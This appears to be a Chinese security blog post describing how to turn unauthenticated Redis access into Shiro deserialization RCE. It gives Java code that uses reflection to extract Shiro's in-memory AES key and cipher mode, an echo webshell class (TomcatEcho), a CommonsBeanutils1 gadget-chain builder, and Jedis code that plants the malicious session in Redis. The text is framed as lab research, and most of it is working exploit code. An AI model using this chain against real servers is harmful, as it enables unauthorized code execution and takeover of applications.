redis未授权到shiro反序列化之session回显马

匿名者  49天前

一、前言

最近拜读 cokeBeer 师傅《redis未授权到shiro反序列化》,文中使用pyyso生成无回显RCE链,再走redis添加session实现反序列化。这种方法虽然可以在shiro 的AES 密钥未知的情况下RCE,但是无回显链用起来毕竟没那么方便。

众所周知,shiro 550要想getshell总共分两步,第一步搞个key和分组模式,第二步搞条链。既然有可以构造链的依赖,那么想办法构造一个回显链搞到随机的AES 密钥和分组模式,就可以结合传统一把梭工具愉快地食用了。本文详细记录了跟Except1on师傅一起尝试实现上述设想的踩坑过程。

二、漏洞概述

在一次渗透测试的过程中发现6379端口上开着一个未授权的redis,尝试利用redis进行rce失败。又发现redis缓存了shiro的session,最终通过redis未授权配合shiro-redis反序列化实现rce”  -- cokeBeer《redis未授权到shiro反序列化》。

简单来说就是通过向未授权的redis添加恶意构造的session键值对,后端从redis 中读取session,将其反序列化成 Session 对象时触发RCE。

三、相关背景

本文沿用 cokeBeer 师傅《redis未授权到shiro反序列化》里 alexxiyang 师傅的漏洞环境

在该环境下,我们需要关注下面4个类。

image1.png

四、获取密钥和分组模式

4.1 思路

在 AbstractRememberMeManager 类中,类变量encryptionCipherKey用于存放shiro的AES密钥,在 RCE 过程中想办法从上下文获取到该变量,哪怕是动态生成的密钥,也能给它揪出来。

private byte[] encryptionCipherKey;    

public AbstractRememberMeManager() {
    this.serializer = new DefaultSerializer<PrincipalCollection>();
    AesCipherService cipherService = new AesCipherService();
    this.cipherService = cipherService;
    setCipherKey(cipherService.generateNewKey().getEncoded());
}

4.2 从上下文中找到存放encryptionCipherKey的对象

这里就需要用到 c0ny1 师傅的《java内存对象搜索辅助工具》,在Java应用运行时,对内存中的对象进行搜索。我们在漏洞环境 导入上述工具的依赖包,并在org.crazycake.shiroredisspringboottutorial.controller.LoginController#login接口里添加如下代码,搜索包含 encryptionCipherKey 的对象,将结果保存到指定目录,下面是关键代码,结果保存到 C 盘。

List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("byte[]").setField_name("encryptionCipherKey").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys);
//打开调试模式
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("C:\\");
searcher.searchobject();

没有生成预期的搜索结果文件

image2.png

换个姿势搜 AbstractRememberMeManager

keys.add(new Keyword.Builder().setField_type("AbstractRememberMeManager").build());

靠,还是不对。

image3.png

花两秒想了下,搜索目标是对象,然鹅AbstractRememberMeManager 是个抽象类,抽象类是不允许实例化的,那么得找它子类 CookieRememberMeManager的实例对象。

keys.add(new Keyword.Builder().setField_type("CookieRememberMeManager").build());

image4.png

这波稳了,出现带 result的搜索结果日志

image5.png

4.3 分析调用栈

我们打开搜索结果日志,可以看到门前有两棵树,一棵是枣树,另一棵也是枣树。咳咳(❍ᴥ❍ʋ)

一棵ThreadLocal$ThreadLocalMap,另一棵TomcatEmbeddedWebappClassLoader 。

要找到某一个线程,通过反射一层层的获取到我们想要的 encryptionCipherKey 不是梦。

image6.png

这里直接参考业内最常用的全版本 Tomcat 获取 request 对象的代码并进行改造。

下面for 循环内代码就是我们需要改造的部分。

//标记是否回显成功,成功后不再继续
boolean flag = false;
//临时存储反射取到的field对象
object o = null;
try {
    //获取当前所有线程
    Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
    //遍历所有线程
    for (int i = 0; i < threads.length; i++) {
        //当前线程
        Thread thread = threads[i];
        //获取线程名
        String threadName = thread.getName();
        try {
            //当前线程名包含http,但是不包含exec时
            if (!threadName.contains("exec") && threadName.contains("http")) {
                //获取当前线程的名为target的field对象
                o = getField(thread, "target");
                //如果当前field对象不为Runnable类的实例,则遍历下一个线程
                if (!(o instanceof Runnable)) {
                    continue;
                }
                try {
                    //获取同时满足包含这三个属性名的field对象
                    o = getField(getField(getField(o, "this$0"), "handler"), "global");
                } catch (Exception e) {
                    //如果没有找到抛出异常,则遍历下一个线程
                    continue;
                }
                //获取名为processors的field对象,该对象为ArrayList类型
                ArrayList processors = (ArrayList) getField(o, "processors");
                for (int j = 0; j < processors.size(); j++) {
                    //获取当前processor的requestInfo对象
                    RequestInfo requestInfo = (RequestInfo) processors.get(j);
                    //获取当前requestInfo的coyote下面的req对象
                    Request req = (Request) getField(requestInfo, "req");
                    if (req.decodedURI().isNull()) {
                        continue;
                    }
                    //获取当前requestInfo的connector下面的req对象
                    org.apache.catalina.connector.Request tomReq = (org.apache.catalina.connector.Request) req.getNote(1);
                    return tomReq;

                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
} catch (Exception e) {
    e.printStackTrace();
}
return null;

getField 方法是通过反射直接获取对象的指定属性值。

private static object getField(object o, String s) throws Exception {
    Field f = null;
    Class clazz = o.getClass();

    while (clazz != object.class) {
        try {
            f = clazz.getDeclaredField(s);
            break;
        } catch (NoSuchFieldException var5) {
            clazz = clazz.getSuperclass();
        }
    }

    if (f == null) {
        throw new NoSuchFieldException(s);
    } else {
        f.setAccessible(true);
        return f.get(o);
    }
}

4.4 通过两种不同的调用栈获取encryptionCipherKey

这里仅针对该漏洞环境进行测试,因技术有限,通用性可能无法保证,其他环境的手法大同小异。

  • 从ThreadLocal$ThreadLocalMap 中获取encryptionCipherKey

依次通过反射获取对象中属性值。

需要 getField 反射调用的层级:对象值(对象类型)

inheritableThreadLocals (ThreadLocalMap)-> table (Entry []) -> value (Entry) -> value (HashMap) -> rememberMeManager (CookieRememberMeManager)

我们先直接将获取的结果拼接在返回的视图里面,进行测试。

try {
    object inheritableThreadLocals = getField(thread, "inheritableThreadLocals");

    Integer size = (Integer) getField(inheritableThreadLocals, "size");
    System.out.println("ThreadLocal  "+size);
    if (size == 0) {
        return null;
    }
    object[] table = (object[]) getField(inheritableThreadLocals, "table");
    for (int j = 0; j < table.length; j++) {
        if (table[j] != null) {
            object value = getField(table[j], "value");
            HashMap map = (HashMap) value;
            object securityManager = map.get("org.apache.shiro.util.ThreadContext_SECURITY_MANAGER_KEY");
            DefaultWebSecurityManager securityManager1 = (DefaultWebSecurityManager) securityManager;
            AbstractRememberMeManager abstractRememberMeManager = (AbstractRememberMeManager) securityManager1.getRememberMeManager();
            CipherService cipherService = abstractRememberMeManager.getCipherService();
            AesCipherService cipherService1 = (AesCipherService) cipherService;
            return "cipherKey : " + new String(base64.getEncoder().encode(abstractRememberMeManager.getCipherKey())) +
                    "Mode : " + cipherService1.getModeName();
        }
    }
} catch (Exception e) {
    return null;
}
return null;

嗯,效果凑合。

通过层层反射套娃,成功获取到了随机生成的AES密钥和分组模式

image7.png

  • 从 TomcatEmbeddedWebappClassLoader 中获取

需要 getField 反射调用的层级:

contextClassLoader -> resources -> context -> context -> attributes -> attributes -> applicationEventMulticaster -> retrievalMutex

跟第一棵树差不多,花十分钟如法炮制。

我们同样直接将获取的结果拼接在返回的视图里面,进行测试。

CookieRememberMeManager rememberMeManager = null;
object cipherService = null;
try {
    object contextClassLoader = getField(thread, "contextClassLoader");
    object resources = null;
    resources = getField(contextClassLoader, "resources");
    object context = getField(resources, "context");
    context = getField(context, "context");
    object attributes = getField(context, "attributes");
    ConcurrentHashMap attribute = (ConcurrentHashMap) attributes;
    object o = attribute.get("org.springframework.web.context.WebApplicationContext.ROOT");
    object applicationEventMulticaster = getField(o, "applicationEventMulticaster");
    object retrievalMutex = getField(applicationEventMulticaster, "retrievalMutex");
    ConcurrentHashMap retrievalMute = (ConcurrentHashMap) retrievalMutex;
    object securityManager = retrievalMute.get("securityManager");
    DefaultWebSecurityManager securityManager1 = (DefaultWebSecurityManager) securityManager;
    rememberMeManager = (CookieRememberMeManager) securityManager1.getRememberMeManager();
    cipherService = getField(rememberMeManager, "cipherService");
} catch (Exception e) {
    return "";
}
AesCipherService cipherService1 = (AesCipherService) cipherService;
return "cipherKey : " + new String(base64.getEncoder().encode(rememberMeManager.getCipherKey())) +
        "Mode : " + cipherService1.getModeName();

嗯,效果也还凑合。

image8.png

五、改造回显马输出密钥和分组模式

5.1 思路

回显马核心也是从线程中获取到请求和响应对象,并且用响应对象通过输出流将密钥和分组模式打印到客户端。

5.2 回显代码缝合

本着不重复造轮子,只改造轮子的原则,我们站在前面无数巨佬们的肩膀上,将业内常用的 TomcatEcho 回显马进行改造。缝合上我们 4.3 节及 4.4 节中的代码,纯 CV 大法,没有太多技术含量,缝合细节不再赘述。

public class TomcatEcho extends AbstractTranslet {

    public HttpServletRequest request = null;
    public HttpServletResponse response = null;

    public TomcatEcho() throws Exception {
    	// 从线程中获取 request 对象
        object request = getRequestFromThreads();
        // request 对象赋值给成员属性。
        load(request);
        // 从线程中获取 shiro 密钥
        String keys = "keys: " + getShiroKeysFromThreads();
        // 将 shiro 密钥回显给当前请求
        PrintWriter writer = response.getWriter();
        writer.write(keys);
    }
	// 线程中获取 request 对象,详见 4.3 节
    private static object getRequestFromThreads() throws Exception {
        
    }

    public void load(object obj) throws NoSuchFieldException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        System.out.println("load");
        try {
            if (obj instanceof HttpServletRequest) {
                request = (HttpServletRequest) obj;
                response = (HttpServletResponse) request.getClass().getDeclaredMethod("getResponse").invoke(obj);
            }
        } catch (Exception var8) {
            // do nothing
        }
    }

    private static String getShiroKeysFromThreads() {
        try {
            Thread[] ts = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
            for (int i = 0; i < ts.length; ++i) {
                Thread t = ts[i];
                // 从线程中获取 shiro 密钥,详见 4.4 节
                String res = getKeyByThreadLocal(t);
                System.out.println(res);
                if (isNotBlank(res)) {
                    return res;
                }
            }
        } catch (Exception var17) {
            ;
        }
        return null;
    }
    // 反射获取对象属性值,详见 4.3 节
    private static object getField(object o, String s) throws Exception {
        
    }

    public static boolean isNotBlank(String s) {
        return !isBlank(s);
    }

    public static boolean isBlank(String s) {
        return s == null || s.trim().isEmpty();
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

六、用CB1链封装回显马

漏洞环境依赖的是 commons-beanutils,这里注意,生成CB1链时 commons-beanutils 版本需要与漏洞环境保持一致,否则会出现因为序列化前后serialVersionUID 不一致抛出异常导致反序列化过程失败。

我们继续将改造后的回显马封装到CB链里面,这里用到了 javassist 工具库来直接获取类的字节码。

public static byte[] commonsBeanutils1() throws Exception {
    ClassPool pool = ClassPool.getDefault();
    CtClass ctClass = pool.get(TomcatEcho.class.getName());
    byte[] classByteArray = ctClass.toBytecode();
    TemplatesImpl templates = new TemplatesImpl();
    ReflectionUtil.setValueField(templates, "_name", "f");
    ReflectionUtil.setValueField(templates, "_bytecodes", new byte[][]{code});
    ReflectionUtil.setValueField(templates, "_tfactory", new TransformerFactoryImpl());
    BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
    PriorityQueue<object> queue = new PriorityQueue<object>(2, comparator);
    queue.add("1");
    queue.add("1");
    ReflectionUtil.setValueField(comparator, "property", "outputProperties");
    ReflectionUtil.setValueField(queue, "queue", new object[]{templatesImpl, templatesImpl});
    try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
         objectOutputStream ou = new objectOutputStream(bos)) {
        ou.writeobject(queue);
        return bos.toByteArray();
    } catch (IOException e) {
        e.printStackTrace();
    }
	return new byte[]{};
}

所以现在我们手上有两只session回显马,一只是ThreadLocal$ThreadLocalMap 回显马,另一只是 TomcatEmbeddedWebappClassLoader 回显马。

七、向Redis添加session回显马

这里我们随便访问一个不存在的接口,后端返回了一个cookie

image9.png

我们直接用Jedis库来向Redis添加session回显马。

public static void main(String[] args) throws Exception {
    Jedis jedis = new Jedis("redis://127.0.0.1:6379");
    String s = "shiro:session:wuhu~run";
    byte[] injectByte = commonsBeanutils1();
    jedis.set(s.getBytes(), injectByte);
}

7.1 验证ThreadLocal$ThreadLocalMap 回显马效果

先上我们的ThreadLocal$ThreadLocalMap 回显马。

然后把JSESSIONID的值替换成回显马的key,即“wuhu~run”。

喔豁,翻车了(ㄒoㄒ),结果出现 null 。

通过断点调试发现 32 个线程中,ThreadLocalMap 内容都为空,技术有限,变成了死马。image10.png

7.2 验证TomcatEmbeddedWebappClassLoader 回显马效果

上我们的 TomcatEmbeddedWebappClassLoader 回显马。

然后把JSESSIONID的值替换成回显马的 key,即“wuhu~run”。

芜湖~起飞(∩_∩)

终于成功返回了随机的AES密钥和分组模式。

image11.png

有链、有key、有分组模式,剩下就是熟悉的一把梭了。

image12.png

image13.png

八、相关参考链接

[1] https://mp.weixin.qq.com/s?__biz=MzU2NTExMDQxOQ==&mid=2247483934&idx=1&sn=aa20df31b6dea473ed72cfb90d50a752

[2] https://github.com/alexxiyang/shiro-redis-spring-boot-tutorial

[3] https://github.com/c0ny1/java-object-searcher

最新评论

昵称
邮箱
提交评论